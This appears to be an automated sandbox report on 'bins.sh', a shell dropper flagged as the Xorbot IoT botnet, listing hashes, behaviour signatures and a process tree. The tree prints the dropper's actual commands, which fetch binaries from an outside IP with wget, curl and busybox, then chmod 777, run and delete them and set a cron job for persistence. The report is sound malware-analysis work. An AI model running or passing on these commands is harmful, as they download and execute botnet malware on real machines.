Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    134s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    28/02/2025, 12:22

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    6d5db893b3366e9b599c283095502209

  • SHA1

    20bb6748cb464f266c5d2d9c823902992608268f

  • SHA256

    0fd5bcfd27d9e8c93debe59a1730b63f457b08ffcdc63cb99f403cae0a2a43c4

  • SHA512

    45f4e7d8a98a99afa62b6cb40a23cf17a1f7092fa2ae5d73ec70ee10484cbb7c2c4f99c8d78583d66818b993c8dba10403e372929a16f59b418982dea1c58402

  • SSDEEP

    96:T5p4I7ZprzE5FJM0Rl8rLNfSMgZeTy4U83SuuhlnzQMsnyI7ZgdurzE5FZ60Rl8h:T5p41M5f9U83Suuhln07LU83Su4hlnY

Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2035) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    • Renames itself
    • Reads runtime system information
    PID:1486
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1489
      • /usr/bin/wget
        wget http://37.44.238.88/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
        • Writes file to tmp directory
        PID:1492
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
        • Writes file to tmp directory
        PID:1500
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
        • Writes file to tmp directory
        PID:1501
      • /bin/chmod
        chmod 777 coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
        • File and Directory Permissions Modification
        PID:1502
      • /tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        ./coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
          PID:1503
        • /bin/rm
          rm coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
          2⤵
            PID:1505
          • /usr/bin/wget
            wget http://37.44.238.88/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
            • Writes file to tmp directory
            PID:1506
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
            • Writes file to tmp directory
            PID:1507
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
            • Writes file to tmp directory
            PID:1508
          • /bin/chmod
            chmod 777 hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
            • File and Directory Permissions Modification
            PID:1509
          • /tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            ./hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
              PID:1510
            • /bin/rm
              rm hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
              2⤵
                PID:1512
              • /usr/bin/wget
                wget http://37.44.238.88/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • Writes file to tmp directory
                PID:1513
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • Writes file to tmp directory
                PID:1514
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • Writes file to tmp directory
                PID:1515
              • /bin/chmod
                chmod 777 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • File and Directory Permissions Modification
                PID:1516
              • /tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                ./6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                  PID:1517
                • /bin/rm
                  rm 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                  2⤵
                    PID:1519
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                    2⤵
                    • Writes file to tmp directory
                    PID:1520
                  • /usr/bin/curl
                    curl -O http://37.44.238.88/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                    2⤵
                    • Writes file to tmp directory
                    PID:1521
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.88/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                    2⤵
                    • Writes file to tmp directory
                    PID:1522
                  • /bin/chmod
                    chmod 777 BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1523
                  • /tmp/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                    ./BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                    2⤵
                      PID:1524
                    • /bin/rm
                      rm BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                      2⤵
                        PID:1526
                      • /usr/bin/wget
                        wget http://37.44.238.88/bins/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                        2⤵
                        • Writes file to tmp directory
                        PID:1527
                      • /usr/bin/curl
                        curl -O http://37.44.238.88/bins/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                        2⤵
                        • Writes file to tmp directory
                        PID:1528
                      • /bin/busybox
                        /bin/busybox wget http://37.44.238.88/bins/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                        2⤵
                        • Writes file to tmp directory
                        PID:1529
                      • /bin/chmod
                        chmod 777 WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1530
                      • /tmp/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                        ./WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                        2⤵
                          PID:1531
                        • /bin/rm
                          rm WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                          2⤵
                            PID:1533
                          • /usr/bin/wget
                            wget http://37.44.238.88/bins/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                            2⤵
                            • Writes file to tmp directory
                            PID:1534
                          • /usr/bin/curl
                            curl -O http://37.44.238.88/bins/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                            2⤵
                            • Writes file to tmp directory
                            PID:1535
                          • /bin/busybox
                            /bin/busybox wget http://37.44.238.88/bins/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                            2⤵
                            • Writes file to tmp directory
                            PID:1536
                          • /bin/chmod
                            chmod 777 FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1537
                          • /usr/bin/crontab
                            crontab -l
                            2⤵
                              PID:1541
                            • /usr/bin/crontab
                              crontab -
                              2⤵
                              • Creates/modifies Cron job
                              PID:1543
                            • /bin/rm
                              rm FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                              2⤵
                                PID:1545
                              • /usr/bin/wget
                                wget http://37.44.238.88/bins/ly20uQ5RVmBE1c3GXpfTK7NWIJnJfL9ZZu
                                2⤵
                                  PID:1548

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                                Filesize

                                151KB

                                MD5

                                3c90d5820bddcf7c5d1bd21dfa49d958

                                SHA1

                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                SHA256

                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                SHA512

                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                Download Submit

                              • /tmp/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                                Filesize

                                151KB

                                MD5

                                6c583043d91c55aa470c08c87058e917

                                SHA1

                                abf65a5b9bba69980278ad09356e53de8bb89439

                                SHA256

                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                SHA512

                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                Download Submit

                              • /tmp/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                                Filesize

                                99KB

                                MD5

                                9438d9bc392bcf300a5583b6df5bc8f6

                                SHA1

                                375a6ae34b516f6f3eeea8030c4084f585017efa

                                SHA256

                                68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                SHA512

                                1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                Download Submit

                              • /tmp/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                                Filesize

                                122KB

                                MD5

                                cd3d4b9c643e5b473fb4d88ed05f0716

                                SHA1

                                64ee7a97418583d759eaea8000890cc3bae1b5f4

                                SHA256

                                0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                SHA512

                                164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                Download Submit

                              • /tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
                                Filesize

                                107KB

                                MD5

                                eb9c3a0de91fcf16ba17cb24608df68c

                                SHA1

                                09d95a7d70d5e115d103be51edff7c498d272fac

                                SHA256

                                dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                SHA512

                                9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                Download Submit

                              • /tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
                                Filesize

                                127KB

                                MD5

                                89077b7bd4bcafca7713be43635c4862

                                SHA1

                                fc02edb8fba29ea8ee99e6157ef8560334530052

                                SHA256

                                78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                SHA512

                                1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                Download Submit

                              • /var/spool/cron/crontabs/tmp.d2fs2w
                                Filesize

                                210B

                                MD5

                                377c49ae56120039663a1b012fadb084

                                SHA1

                                2503af88b32a9be4389d764b4606f00a392c8aa1

                                SHA256

                                1d4a8e361d11fab93affbdb3ace345ad51f4756b18270f402ff44c01b3aa7113

                                SHA512

                                6d18d6bd6e15f2fbceb4c92ab741fcc6f6bbe91ce579573349b8b22ac9fdde60b30beb019e275fc555fadab3f5479dd8e71301936ba22f15565794f667a00cf7

                                Download Submit